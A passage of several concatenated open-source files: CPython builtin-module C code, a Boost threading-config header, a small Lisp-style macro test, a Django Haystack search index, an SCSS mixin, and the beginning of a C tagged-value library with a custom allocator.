PyObject *it = PyTuple_GET_ITEM(itlist, j);
PyObject *item = PyIter_Next(it);
if (!item) {
if (PyErr_Occurred()) {
Py_DECREF(ret);
ret = NULL;
}
Py_DECREF(next);
Py_DECREF(itlist);
goto Done;
}
PyTuple_SET_ITEM(next, j, item);
}
if (i < len)
PyList_SET_ITEM(ret, i, next);
else {
int status = PyList_Append(ret, next);
Py_DECREF(next);
++len;
if (status < 0)
goto Fail_ret_itlist;
}
}
Done:
if (ret != NULL && i < len) {
/* The list is too big. */
if (PyList_SetSlice(ret, i, len, NULL) < 0)
return NULL;
}
return ret;
Fail_ret_itlist:
Py_DECREF(itlist);
Fail_ret:
Py_DECREF(ret);
return NULL;
}
PyDoc_STRVAR(zip_doc,
"zip(seq1 [, seq2 [...]]) -> [(seq1[0], seq2[0] ...), (...)]\n\
\n\
Return a list of tuples, where each tuple contains the i-th element\n\
from each of the argument sequences. The returned list is truncated\n\
in length to the length of the shortest argument sequence.");
static PyMethodDef builtin_methods[] = {
{"__import__", (PyCFunction)builtin___import__, METH_VARARGS | METH_KEYWORDS, import_doc},
{"abs", builtin_abs, METH_O, abs_doc},
{"all", builtin_all, METH_O, all_doc},
{"any", builtin_any, METH_O, any_doc},
{"apply", builtin_apply, METH_VARARGS, apply_doc},
{"bin", builtin_bin, METH_O, bin_doc},
{"callable", builtin_callable, METH_O, callable_doc},
{"chr", builtin_chr, METH_VARARGS, chr_doc},
{"cmp", builtin_cmp, METH_VARARGS, cmp_doc},
{"coerce", builtin_coerce, METH_VARARGS, coerce_doc},
{"compile", (PyCFunction)builtin_compile, METH_VARARGS | METH_KEYWORDS, compile_doc},
{"delattr", builtin_delattr, METH_VARARGS, delattr_doc},
{"dir", builtin_dir, METH_VARARGS, dir_doc},
{"divmod", builtin_divmod, METH_VARARGS, divmod_doc},
{"eval", builtin_eval, METH_VARARGS, eval_doc},
{"execfile", builtin_execfile, METH_VARARGS, execfile_doc},
{"filter", builtin_filter, METH_VARARGS, filter_doc},
{"format", builtin_format, METH_VARARGS, format_doc},
{"getattr", builtin_getattr, METH_VARARGS, getattr_doc},
{"globals", (PyCFunction)builtin_globals, METH_NOARGS, globals_doc},
{"hasattr", builtin_hasattr, METH_VARARGS, hasattr_doc},
{"hash", builtin_hash, METH_O, hash_doc},
{"hex", builtin_hex, METH_O, hex_doc},
{"id", builtin_id, METH_O, id_doc},
{"input", builtin_input, METH_VARARGS, input_doc},
{"intern", builtin_intern, METH_VARARGS, intern_doc},
{"isinstance", builtin_isinstance, METH_VARARGS, isinstance_doc},
{"issubclass", builtin_issubclass, METH_VARARGS, issubclass_doc},
{"iter", builtin_iter, METH_VARARGS, iter_doc},
{"len", builtin_len, METH_O, len_doc},
{"locals", (PyCFunction)builtin_locals, METH_NOARGS, locals_doc},
{"map", builtin_map, METH_VARARGS, map_doc},
{"max", (PyCFunction)builtin_max, METH_VARARGS | METH_KEYWORDS, max_doc},
{"min", (PyCFunction)builtin_min, METH_VARARGS | METH_KEYWORDS, min_doc},
{"next", builtin_next, METH_VARARGS, next_doc},
{"oct", builtin_oct, METH_O, oct_doc},
{"open", (PyCFunction)builtin_open, METH_VARARGS | METH_KEYWORDS, open_doc},
{"ord", builtin_ord, METH_O, ord_doc},
{"pow", builtin_pow, METH_VARARGS, pow_doc},
{"print", (PyCFunction)builtin_print, METH_VARARGS | METH_KEYWORDS, print_doc},
{"range", builtin_range, METH_VARARGS, range_doc},
{"raw_input", builtin_raw_input, METH_VARARGS, raw_input_doc},
{"reduce", builtin_reduce, METH_VARARGS, reduce_doc},
{"reload", builtin_reload, METH_O, reload_doc},
{"repr", builtin_repr, METH_O, repr_doc},
{"round", (PyCFunction)builtin_round, METH_VARARGS | METH_KEYWORDS, round_doc},
{"setattr", builtin_setattr, METH_VARARGS, setattr_doc},
{"sorted", (PyCFunction)builtin_sorted, METH_VARARGS | METH_KEYWORDS, sorted_doc},
{"sum", builtin_sum, METH_VARARGS, sum_doc},
#ifdef Py_USING_UNICODE
{"unichr", builtin_unichr, METH_VARARGS, unichr_doc},
#endif
{"vars", builtin_vars, METH_VARARGS, vars_doc},
{"zip", builtin_zip, METH_VARARGS, zip_doc},
{NULL, NULL},
};
PyDoc_STRVAR(builtin_doc,
"Built-in functions, exceptions, and other objects.\n\
\n\
Noteworthy: None is the `nil' object; Ellipsis represents `...' in slices.");
PyObject *
_PyBuiltin_Init(void)
{
PyObject *mod, *dict, *debug;
mod = Py_InitModule4("__builtin__", builtin_methods,
builtin_doc, (PyObject *)NULL,
PYTHON_API_VERSION);
if (mod == NULL)
return NULL;
dict = PyModule_GetDict(mod);
#ifdef Py_TRACE_REFS
/* __builtin__ exposes a number of statically allocated objects
* that, before this code was added in 2.3, never showed up in
* the list of "all objects" maintained by Py_TRACE_REFS. As a
* result, programs leaking references to None and False (etc)
* couldn't be diagnosed by examining sys.getobjects(0).
*/
#define ADD_TO_ALL(OBJECT) _Py_AddToAllObjects((PyObject *)(OBJECT), 0)
#else
#define ADD_TO_ALL(OBJECT) (void)0
#endif
#define SETBUILTIN(NAME, OBJECT) \
if (PyDict_SetItemString(dict, NAME, (PyObject *)OBJECT) < 0) \
return NULL; \
ADD_TO_ALL(OBJECT)
SETBUILTIN("None", Py_None);
SETBUILTIN("Ellipsis", Py_Ellipsis);
SETBUILTIN("NotImplemented", Py_NotImplemented);
SETBUILTIN("False", Py_False);
SETBUILTIN("True", Py_True);
SETBUILTIN("basestring", &PyBaseString_Type);
SETBUILTIN("bool", &PyBool_Type);
SETBUILTIN("memoryview", &PyMemoryView_Type);
SETBUILTIN("bytearray", &PyByteArray_Type);
SETBUILTIN("bytes", &PyString_Type);
SETBUILTIN("buffer", &PyBuffer_Type);
SETBUILTIN("classmethod", &PyClassMethod_Type);
#ifndef WITHOUT_COMPLEX
SETBUILTIN("complex", &PyComplex_Type);
#endif
SETBUILTIN("dict", &PyDict_Type);
SETBUILTIN("enumerate", &PyEnum_Type);
SETBUILTIN("file", &PyFile_Type);
SETBUILTIN("float", &PyFloat_Type);
SETBUILTIN("frozenset", &PyFrozenSet_Type);
SETBUILTIN("property", &PyProperty_Type);
SETBUILTIN("int", &PyInt_Type);
SETBUILTIN("list", &PyList_Type);
SETBUILTIN("long", &PyLong_Type);
SETBUILTIN("object", &PyBaseObject_Type);
SETBUILTIN("reversed", &PyReversed_Type);
SETBUILTIN("set", &PySet_Type);
SETBUILTIN("slice", &PySlice_Type);
SETBUILTIN("staticmethod", &PyStaticMethod_Type);
SETBUILTIN("str", &PyString_Type);
SETBUILTIN("super", &PySuper_Type);
SETBUILTIN("tuple", &PyTuple_Type);
SETBUILTIN("type", &PyType_Type);
SETBUILTIN("xrange", &PyRange_Type);
#ifdef Py_USING_UNICODE
SETBUILTIN("unicode", &PyUnicode_Type);
#endif
debug = PyBool_FromLong(Py_OptimizeFlag == 0);
if (PyDict_SetItemString(dict, "__debug__", debug) < 0) {
Py_XDECREF(debug);
return NULL;
}
Py_XDECREF(debug);
return mod;
#undef ADD_TO_ALL
#undef SETBUILTIN
}
/* Helper for filter(): filter a tuple through a function */
static PyObject *
filtertuple(PyObject *func, PyObject *tuple)
{
PyObject *result;
Py_ssize_t i, j;
Py_ssize_t len = PyTuple_Size(tuple);
if (len == 0) {
if (PyTuple_CheckExact(tuple))
Py_INCREF(tuple);
else
tuple = PyTuple_New(0);
return tuple;
}
if ((result = PyTuple_New(len)) == NULL)
return NULL;
for (i = j = 0; i < len; ++i) {
PyObject *item, *good;
int ok;
if (tuple->ob_type->tp_as_sequence &&
tuple->ob_type->tp_as_sequence->sq_item) {
item = tuple->ob_type->tp_as_sequence->sq_item(tuple, i);
if (item == NULL)
goto Fail_1;
} else {
PyErr_SetString(PyExc_TypeError, "filter(): unsubscriptable tuple");
goto Fail_1;
}
if (func == Py_None) {
Py_INCREF(item);
good = item;
}
else {
PyObject *arg = PyTuple_Pack(1, item);
if (arg == NULL) {
Py_DECREF(item);
goto Fail_1;
}
good = PyEval_CallObject(func, arg);
Py_DECREF(arg);
if (good == NULL) {
Py_DECREF(item);
goto Fail_1;
}
}
ok = PyObject_IsTrue(good);
Py_DECREF(good);
if (ok > 0) {
if (PyTuple_SetItem(result, j++, item) < 0)
goto Fail_1;
}
else {
Py_DECREF(item);
if (ok < 0)
goto Fail_1;
}
}
if (_PyTuple_Resize(&result, j) < 0)
return NULL;
return result;
Fail_1:
Py_DECREF(result);
return NULL;
}
/* Helper for filter(): filter a string through a function */
static PyObject *
filterstring(PyObject *func, PyObject *strobj)
{
PyObject *result;
Py_ssize_t i, j;
Py_ssize_t len = PyString_Size(strobj);
Py_ssize_t outlen = len;
if (func == Py_None) {
/* If it's a real string we can return the original,
* as no character is ever false and __getitem__
* does return this character. If it's a subclass
* we must go through the __getitem__ loop */
if (PyString_CheckExact(strobj)) {
Py_INCREF(strobj);
return strobj;
}
}
if ((result = PyString_FromStringAndSize(NULL, len)) == NULL)
return NULL;
for (i = j = 0; i < len; ++i) {
PyObject *item;
int ok;
item = (*strobj->ob_type->tp_as_sequence->sq_item)(strobj, i);
if (item == NULL)
goto Fail_1;
if (func==Py_None) {
ok = 1;
} else {
PyObject *arg, *good;
arg = PyTuple_Pack(1, item);
if (arg == NULL) {
Py_DECREF(item);
goto Fail_1;
}
good = PyEval_CallObject(func, arg);
Py_DECREF(arg);
if (good == NULL) {
Py_DECREF(item);
goto Fail_1;
}
ok = PyObject_IsTrue(good);
Py_DECREF(good);
}
if (ok > 0) {
Py_ssize_t reslen;
if (!PyString_Check(item)) {
PyErr_SetString(PyExc_TypeError, "can't filter str to str:"
" __getitem__ returned different type");
Py_DECREF(item);
goto Fail_1;
}
reslen = PyString_GET_SIZE(item);
if (reslen == 1) {
PyString_AS_STRING(result)[j++] =
PyString_AS_STRING(item)[0];
} else {
/* do we need more space? */
Py_ssize_t need = j;
/* calculate space requirements while checking for overflow */
if (need > PY_SSIZE_T_MAX - reslen) {
Py_DECREF(item);
goto Fail_1;
}
need += reslen;
if (need > PY_SSIZE_T_MAX - len) {
Py_DECREF(item);
goto Fail_1;
}
need += len;
if (need <= i) {
Py_DECREF(item);
goto Fail_1;
}
need = need - i - 1;
assert(need >= 0);
assert(outlen >= 0);
if (need > outlen) {
/* overallocate, to avoid reallocations */
if (outlen > PY_SSIZE_T_MAX / 2) {
Py_DECREF(item);
return NULL;
}
if (need<2*outlen) {
need = 2*outlen;
}
if (_PyString_Resize(&result, need)) {
Py_DECREF(item);
return NULL;
}
outlen = need;
}
memcpy(
PyString_AS_STRING(result) + j,
PyString_AS_STRING(item),
reslen
);
j += reslen;
}
}
Py_DECREF(item);
if (ok < 0)
goto Fail_1;
}
if (j < outlen)
_PyString_Resize(&result, j);
return result;
Fail_1:
Py_DECREF(result);
return NULL;
}
#ifdef Py_USING_UNICODE
/* Helper for filter(): filter a Unicode object through a function */
static PyObject *
filterunicode(PyObject *func, PyObject *strobj)
{
PyObject *result;
register Py_ssize_t i, j;
Py_ssize_t len = PyUnicode_GetSize(strobj);
Py_ssize_t outlen = len;
if (func == Py_None) {
/* If it's a real string we can return the original,
* as no character is ever false and __getitem__
* does return this character. If it's a subclass
* we must go through the __getitem__ loop */
if (PyUnicode_CheckExact(strobj)) {
Py_INCREF(strobj);
return strobj;
}
}
if ((result = PyUnicode_FromUnicode(NULL, len)) == NULL)
return NULL;
for (i = j = 0; i < len; ++i) {
PyObject *item, *arg, *good;
int ok;
item = (*strobj->ob_type->tp_as_sequence->sq_item)(strobj, i);
if (item == NULL)
goto Fail_1;
if (func == Py_None) {
ok = 1;
} else {
arg = PyTuple_Pack(1, item);
if (arg == NULL) {
Py_DECREF(item);
goto Fail_1;
}
good = PyEval_CallObject(func, arg);
Py_DECREF(arg);
if (good == NULL) {
Py_DECREF(item);
goto Fail_1;
}
ok = PyObject_IsTrue(good);
Py_DECREF(good);
}
if (ok > 0) {
Py_ssize_t reslen;
if (!PyUnicode_Check(item)) {
PyErr_SetString(PyExc_TypeError,
"can't filter unicode to unicode:"
" __getitem__ returned different type");
Py_DECREF(item);
goto Fail_1;
}
reslen = PyUnicode_GET_SIZE(item);
if (reslen == 1)
PyUnicode_AS_UNICODE(result)[j++] =
PyUnicode_AS_UNICODE(item)[0];
else {
/* do we need more space? */
Py_ssize_t need = j + reslen + len - i - 1;
/* check that didnt overflow */
if ((j > PY_SSIZE_T_MAX - reslen) ||
((j + reslen) > PY_SSIZE_T_MAX - len) ||
((j + reslen + len) < i) ||
((j + reslen + len - i) <= 0)) {
Py_DECREF(item);
return NULL;
}
assert(need >= 0);
assert(outlen >= 0);
if (need > outlen) {
/* overallocate,
to avoid reallocations */
if (need < 2 * outlen) {
if (outlen > PY_SSIZE_T_MAX / 2) {
Py_DECREF(item);
return NULL;
} else {
need = 2 * outlen;
}
}
if (PyUnicode_Resize(
&result, need) < 0) {
Py_DECREF(item);
goto Fail_1;
}
outlen = need;
}
memcpy(PyUnicode_AS_UNICODE(result) + j,
PyUnicode_AS_UNICODE(item),
reslen*sizeof(Py_UNICODE));
j += reslen;
}
}
Py_DECREF(item);
if (ok < 0)
goto Fail_1;
}
if (j < outlen)
PyUnicode_Resize(&result, j);
return result;
Fail_1:
Py_DECREF(result);
return NULL;
}
#endif
| {
"pile_set_name": "Github"
} |
// (C) Copyright John Maddock 2003.
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#ifndef BOOST_CONFIG_REQUIRES_THREADS_HPP
#define BOOST_CONFIG_REQUIRES_THREADS_HPP
#ifndef BOOST_CONFIG_HPP
# include <boost/config.hpp>
#endif
#if defined(BOOST_DISABLE_THREADS)
//
// special case to handle versions of gcc which don't currently support threads:
//
#if defined(__GNUC__) && ((__GNUC__ < 3) || (__GNUC_MINOR__ <= 3) || !defined(BOOST_STRICT_CONFIG))
//
// this is checked up to gcc 3.3:
//
#if defined(__sgi) || defined(__hpux)
# error "Multi-threaded programs are not supported by gcc on HPUX or Irix (last checked with gcc 3.3)"
#endif
#endif
# error "Threading support unavaliable: it has been explicitly disabled with BOOST_DISABLE_THREADS"
#elif !defined(BOOST_HAS_THREADS)
# if defined __COMO__
// Comeau C++
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: -D_MT (Windows) or -D_REENTRANT (Unix)"
#elif defined(__INTEL_COMPILER) || defined(__ICL) || defined(__ICC) || defined(__ECC)
// Intel
#ifdef _WIN32
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: either /MT /MTd /MD or /MDd"
#else
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: -openmp"
#endif
# elif defined __GNUC__
// GNU C++:
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: -pthread (Linux), -pthreads (Solaris) or -mthreads (Mingw32)"
#elif defined __sgi
// SGI MIPSpro C++
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: -D_SGI_MP_SOURCE"
#elif defined __DECCXX
// Compaq Tru64 Unix cxx
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: -pthread"
#elif defined __BORLANDC__
// Borland
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: -tWM"
#elif defined __MWERKS__
// Metrowerks CodeWarrior
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: either -runtime sm, -runtime smd, -runtime dm, or -runtime dmd"
#elif defined __SUNPRO_CC
// Sun Workshop Compiler C++
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: -mt"
#elif defined __HP_aCC
// HP aCC
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: -mt"
#elif defined(__IBMCPP__)
// IBM Visual Age
# error "Compiler threading support is not turned on. Please compile the code with the xlC_r compiler"
#elif defined _MSC_VER
// Microsoft Visual C++
//
// Must remain the last #elif since some other vendors (Metrowerks, for
// example) also #define _MSC_VER
# error "Compiler threading support is not turned on. Please set the correct command line options for threading: either /MT /MTd /MD or /MDd"
#else
# error "Compiler threading support is not turned on. Please consult your compiler's documentation for the appropriate options to use"
#endif // compilers
#endif // BOOST_HAS_THREADS
#endif // BOOST_CONFIG_REQUIRES_THREADS_HPP
| {
"pile_set_name": "Github"
} |
(import macros)
(import stdlib)
(def mysuperstruct
(struct intern ((a int) (b int))))
(def fn1
(fn intern int ((n mysuperstruct))
0))
(def fn2
(fn intern int ((n mysuperstruct))
0))
(def fn1
(fn intern int ((n mysuperstruct) (m mysuperstruct))
0))
(def count-functions
(macro intern (lst)
(let ((n \ (fn-by-args-count mc lst (nullptr char)))
(nnode \ (std.macros.mnfv mc n)))
(std.macros.qq do (uq nnode)))))
(def main
(fn extern-c int (void)
(printf "%d\n" (count-functions (mysuperstruct)))
(printf "%d\n" (count-functions (mysuperstruct mysuperstruct)))
0))
| {
"pile_set_name": "Github"
} |
# encoding: utf-8
from haystack import indexes
from .models import Checkin
class CheckinSearchIndex(indexes.SearchIndex, indexes.Indexable):
text = indexes.CharField(document=True)
username = indexes.CharField(model_attr="username")
comment = indexes.CharField(model_attr="comment")
# Again, if you were using GeoDjango, this could be just:
# location = indexes.LocationField(model_attr='location')
location = indexes.LocationField(model_attr="get_location")
created = indexes.DateTimeField(model_attr="created")
def get_model(self):
return Checkin
def prepare_text(self, obj):
# Because I don't feel like creating a template just for this.
return "\n".join([obj.comment, obj.username])
| {
"pile_set_name": "Github"
} |
// Reset filters for IE
//
// When you need to remove a gradient background, do not forget to use this to reset
// the IE filter for IE9 and below.
@mixin reset-filter() {
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
| {
"pile_set_name": "Github"
} |
#include <limits.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TESTITERS 1
#ifndef DEBUG
#define DEBUG 0
#endif
// very crude auto-appending-printf macro
#define APF(sz,fmt,...) snprintf(s+strlen(s),sz-strlen(s),fmt,__VA_ARGS__);
#define ASSERT(cond,txt) ({ if (!(cond)) { printf("ASSERT: %s\n", txt); raise(SIGABRT); exit(1); } })
#define IFR(cond,thing) if((cond)) return thing
#define ITER(thing,n,body) ({ int _i;for(_i=0;_i<sizeof(thing);_i++) { typeof(*thing) _x; _x=thing[_i]; body; } })
#define ITERV(x,body) ({ int _i;for(_i=0;_i<x->n;_i++) { body; } })
#define ITER2(x,y,body) ({ \
int _i; int _j; \
if(x==NULL || y==NULL || x->n==0 || y->n==0) { \
} else if(x->n > 1) { \
for(_i=0;_i<x->n;_i++) { \
if(y->n > 1) { \
for (_j=0;_j<y->n;_j++) { \
if(IS_i(x)&&IS_i(y)) { \
int _x = EL(x,int,_i); \
int _y = EL(y,int,_i); \
PF("_x %d,_y %d\n", _x, _y); \
body; \
} \
} \
} \
} \
} \
})
#define P0(fmt,x) ({ typeof(x) xx=x; char* s=malloc(1024);snprintf(fmt,1024,xx); xx; })
#define PF(...) (DEBUG && printf(__VA_ARGS__))
#define MEMPF(...) (DEBUG && MEM_W && printf(__VA_ARGS__))
#if DEBUG == 1
#define DUMP(x) ({ char* s = reprA(x); PF("%s\n", s); free(s); })
#else
#define DUMP(x) ({})
#endif
/* functions ending in A allocate their return value; be sure to free() them */
#define TYD(name,type) typedef type name
TYD(I8,unsigned char); TYD(I32,int); TYD(I64,__int64_t); TYD(I128,__int128_t);
TYD(type_t,I8); TYD(buf_t,I8*);
/* Structure for most values. 'st' and 'dyn' static and dynamic storage for data */
struct V { type_t t; I32 tag; I32 n; I32 cap; I32 itemsz; I32 sz; I32 rc; I8 alloc; buf_t next; union { I8 st[32]; buf_t dyn;};};
typedef struct V* VP; /* value pointer */
typedef VP (unaryFunc)(VP x);
typedef VP (binaryFunc)(VP x,VP y);
typedef char* (reprFunc)(VP x,char*s,size_t sz);
struct Proj0 { int type; union { unaryFunc* f1; binaryFunc* f2; }; VP left; VP right; };
typedef struct Proj0 Proj;
/* some prototypes */
VP xalloc(type_t t,I32 initn);
VP xrealloc(VP x,I32 newn);
VP xfree(VP x);
char* repr0(VP x,char* s,size_t len);
char* reprA(VP x);
int _find(VP x,VP y);
VP entag(VP x,VP t);
VP append(VP x,VP y);
VP entags(VP x,const char* name);
VP tagname(I32 tag);
VP tagwraps(const char* name, VP x);
int _tagnum(VP name);
int _tagnums(const char* name);
const char* sfromx(VP x);
VP match(VP obj,VP pat);
#define BUF(v) ((buf_t)( (v)->alloc ? (v->dyn) : (buf_t)&((v)->st) ))
#define EL(v,type,n) (((type*)BUF(v))[n])
#define ELl(v,n) ((EL(v,VP,n)))
#define ELb(v,n) ELsz(v,1,n)
#define ELi(v,n) ((BUF(v))+((v->itemsz)*n))
#define ELsz(v,sz,n) ((BUF(v))+(sz*n))
#define EXC(type,lbl,x,y) return tagwraps("exception",xln(4,type,lbl,x,y));
#define SCALAR(v) ((v)->n==1)
#define LIST(v) ((v)->t==0)
#define LISTDICT(v) ((v)->t==0||IS_d(v))
#define DICT(v) (IS_d(v))
#define ENLISTED(v) (LIST(v)&&(v)->n==1)
#define KEYS(v) (ELl(v,0))
#define VALS(v) (ELl(v,1))
#define Ti(n) (_tagnums("##n"))
#define Tt(n) (xt(_tagnums("##n")))
struct type_info { type_t t; char c; int sz; char name[32]; reprFunc* repr; };
typedef struct type_info type_info_t;
/* global variables :( */
#define GOBBLERSZ 1024
static VP MEM_RECENT[GOBBLERSZ] = {0};
static I8 MEM_W=0; //watching memory?
#define N_MEM_PTRS 1024
static VP MEM_PTRS[N_MEM_PTRS]={0};
static I32 MEM_ALLOC_SZ=0,MEM_FREED_SZ=0;
static I32 MEM_ALLOCS=0, MEM_REALLOCS=0, MEM_FREES=0, MEM_GOBBLES=0;
static VP TAGS=NULL;
#include "accessors.h"
/*
char* repr_1(VP x,char* s,size_t sz) {
APF(sz,"[ unary func = %p ],",x);
return s;
}
char* repr_2(VP x,char* s,size_t sz) {
APF(sz,"[ binary func = %p ],",x);
return s;
}
char* repr_p(VP x,char* s,size_t sz) {
APF(sz,"[ projection = %p ],",x);
return s;
}
*/
char* repr_t(VP x,char* s,size_t sz) {
int i;int tag;
APF(sz,"[ ",0);
for(i=0;i<x->n;i++){
tag = AS_t(x,i);
APF(sz,"%d#%s",tag,sfromx(tagname(tag)));
APF(sz,",",0);
// repr0(*(EL(x,VP*,i)),s,sz);
}
APF(sz," ]",0);
return s;
}
char* repr_l(VP x,char* s,size_t sz) {
int i;VP a;
APF(sz,"[ ",0);
for(i=0;i<x->n;i++){
a = ELl(x,i);
APF(sz,"%d:",i);
repr0(a,s,sz);
APF(sz,", ",0);
// repr0(*(EL(x,VP*,i)),s,sz);
}
APF(sz," ]",0);
return s;
}
char* repr_x(VP x,char* s,size_t sz) {
int i;VP a;
APF(sz,"[ ",0);
for(i=0;i<x->n;i++){
a = ELl(x,i);
APF(sz,"%d:",i);
repr0(a,s,sz);
APF(sz,", ",0);
// repr0(*(EL(x,VP*,i)),s,sz);
}
APF(sz," ]",0);
return s;
}
char* repr_d(VP x,char* s,size_t sz) {
int i;
VP k=KEYS(x),v=VALS(x);
if (!k || !v) { APF(sz,"[null]",0); return s; }
APF(sz,"[ keys (%d): ",k->t);
repr0(k,s,sz);
APF(sz," ],[ values (%d): ",v->t);
repr0(v,s,sz);
APF(sz," ]",0);
return s;
}
#include "repr.h"
#include "types.h"
type_info_t typeinfo(type_t n) { ITER(TYPES,sizeof(TYPES),{ IFR(_x.t==n,_x); }); }
type_info_t typechar(char c) { ITER(TYPES,sizeof(TYPES),{ IFR(_x.c==c,_x); }); }
VP xalloc(type_t t,I32 initn) {
VP a; int g,i,itemsz,sz;
initn = initn < 4 ? 4 : initn;
itemsz = typeinfo(t).sz; sz=itemsz*initn;
//PF("%d\n",sz);
a=NULL;g=0;
if (GOBBLERSZ > 0) {
for(i=0;i<GOBBLERSZ;i++) {
/*
if(DEBUG && MEM_W &&
MEM_RECENT[i]!=0) {
printf("%d. %d\n", i, (VP)MEM_RECENT[i]->sz);
}
*/
if(MEM_RECENT[i]!=0 &&
(VP)MEM_RECENT[i]->sz > sz &&
(VP)MEM_RECENT[i]->sz < (sz * 5)) {
a=MEM_RECENT[i];
MEM_RECENT[i]=0;
MEM_GOBBLES++;
g=i;
memset(BUF(a),0,a->sz);
break;
}
}
}
if(a==NULL)
a = calloc(sizeof(struct V)+sz,1);
if (MEM_W) {
MEMPF("%salloc %d %p %d (%d * %d) (total=%d, freed=%d, bal=%d)\n",(g==1?"GOBBLED! ":""),t,a,sizeof(struct V)+sz,initn,itemsz,MEM_ALLOC_SZ,MEM_FREED_SZ,MEM_ALLOC_SZ-MEM_FREED_SZ);
MEM_ALLOC_SZ += sizeof(struct V)+sz;
MEM_ALLOCS++;
for(i=0;i<N_MEM_PTRS;i++) {
if (MEM_PTRS[i]==0)
MEM_PTRS[i]=a;
}
}
a->t=t;a->tag=0;a->n=0;a->rc=1;a->cap=initn;a->sz=sz;a->itemsz=itemsz;
return a;
}
VP xprofile_start() {
MEM_W=1;
}
VP xprofile_end() {
int i;
VP ctx;
VP res;
MEM_W=0;
printf("allocs: %d (%d), gobbles: %d, reallocs: %d, frees: %d\n", MEM_ALLOC_SZ, MEM_ALLOCS, MEM_GOBBLES, MEM_REALLOCS, MEM_FREES);
for(i=0;i<N_MEM_PTRS;i++)
if(MEM_PTRS[i]!=0) {
xfree(MEM_PTRS[i]);
MEM_PTRS[i]=0;
}
// 0..999: 4953
// 1000..1999: 24
// 2000..2999: 293
// 3000..3999: 100
//
// count each group 1000 xbar capacity each MEM_PTRS
/*
xxl(
(ctx,"sizes",xxl(MEMPTRS,x2(&map),x1(&capacity),x2(&map),x2(&xbar),xi(1000),0))
*/
}
VP xrealloc(VP x,I32 newn) {
// PF("xrealloc %p %d\n",x,newn);
if(newn>x->cap) {
buf_t newp; I32 newsz;
newn = (newn < 10*1024) ? newn * 4 : newn * 1.25;
newsz = newn * x->itemsz;
if(x->alloc) {
// PF("realloc %p %d %d %d\n", x->dyn, x->sz, newn, newsz);
newp = realloc(x->dyn, newsz);
} else {
// PF("calloc %d %d %d\n", x->sz, newn, newsz);
newp = calloc(newsz,1);
memmove(newp,BUF(x),x->sz);
}
if(MEM_W) {
MEMPF("realloc %d %p -> %d\n", x->t, x, newsz);
MEM_ALLOC_SZ += newsz;
MEM_REALLOCS++;
}
// PF("realloc new ptr = %p\n", newp);
if(newp==NULL) perror("realloc");
x->dyn=newp;
x->cap=newn;
x->sz=newsz;
x->alloc=1;
// PF("post realloc\n"); DUMP(x);
}
return x;
}
VP xfree(VP x) {
int i;
if(x==NULL)return x;
//PF("xfree(%p)\n",x);
//printf("
x->rc--;
if(x->rc==0){
if(LISTDICT(x))
ITERV(x,xfree(ELl(x,_i)));
if(MEM_W) {
MEM_FREED_SZ+=sizeof(struct V) + x->sz;
MEM_FREES+=1;
MEMPF("free %d %p %d (%d * %d) (total=%d, freed=%d, bal=%d)\n",x->t,x,x->sz,x->itemsz,x->cap,MEM_ALLOC_SZ,MEM_FREED_SZ,MEM_ALLOC_SZ-MEM_FREED_SZ);
}
if (GOBBLERSZ > 0) {
for(i=0;i<GOBBLERSZ;i++)
if(MEM_RECENT[i]==0) {
MEM_RECENT[i]=x;
return x;
}
}
free(x);
//PF("free%p\n",x);free(x);
} return x; }
VP xref(VP x) { if(MEM_W){MEMPF("ref %p\n",x);} x->rc++; return x; }
VP xfroms(const char* str) { // character value from string - strlen helper
size_t len = strlen(str)+1; type_info_t t = typechar('c');
VP a = xalloc(t.t,len); memcpy(BUF(a),str,len); a->n=len; return a; }
const char* sfromx(VP x) {
if(x==NULL)return "null";
return BUF(x); }
VP appendbuf(VP x,buf_t buf,size_t nelem) {
int newn;buf_t dest;
newn = x->n+nelem;
x=xrealloc(x,newn);
dest = ELi(x,x->n);
memmove(dest,buf,x->itemsz * nelem);
x->n=newn;
return x;
}
VP append(VP x,VP y) { // append all items of y to x. if x is a general list, append pointer to y, and increase refcount.
// PF("append %p %p\n",x,y); DUMP(x); DUMP(y);
ASSERT(LISTDICT(x) || (x->t==y->t), "append(): x must be list, or types must match");
if(IS_d(x)) {
ASSERT(y->n % 2 == 0, "append to a dict with [`key;`value]");
VP k=KEYS(x),v=VALS(x),y1,y2; int i;
y1=ELl(y,0);
y2=ELl(y,1);
// tough decisions
if(k==NULL) { // create dict
if(0 && SCALAR(y1)) {
k=xalloc(y1->t, 4);
} else {
k=xl0();
}
v=xl0();
xref(k);xref(v);
EL(x,VP,0)=k;
EL(x,VP,1)=v;
// PF("dict kv %p %p\n", k, v);
DUMP(k);
PF("NEW DICT VALUES\n");
DUMP(v);
i=-1;
} else
i=_find(k,y1);
if(i==-1) {
xref(y1);xref(y2);
EL(x,VP,0)=append(k,y1);
EL(x,VP,1)=append(v,y2);
} else {
xref(y2);
ELl(v,i)=y2;
}
return x;
}
if(LIST(x)) {
// PF("append %p to list %p\n", y, x); DUMP(x);
x=xrealloc(x,x->n++);
xref(y);
EL(x,VP,x->n-1)=y;
// PF("afterward:\n"); DUMP(x);
} else {
buf_t dest;
dest = BUF(x) + (x->n*x->itemsz);
x=xrealloc(x,x->n + y->n);
memmove(ELsz(x,x->itemsz,x->n),BUF(y),y->sz);
x->n+=y->n;
}
return x;
}
VP appendfree(VP x,VP y) {
append(x,y); xfree(y); return x;
}
VP upsert(VP x,VP y) {
if(_find(x,y)==-1) append(x,y); return x;
}
int _upsertidx(VP x,VP y) {
int idx = _find(x,y);
if(idx>-1) return idx;
append(x,y); return x->n-1;
}
inline VP assign(VP x,VP k,VP val) {
if(DICT(x)) {
return append(x,xln(2,k,val));
}
ASSERT(1,"assign() bad types");
}
inline VP assigns(VP x,const char* key,VP val) {
return assign(x,xfroms(key),val);
}
VP flatten(VP x) {
int i,t=-1;VP res;
if(!LIST(x))return x;
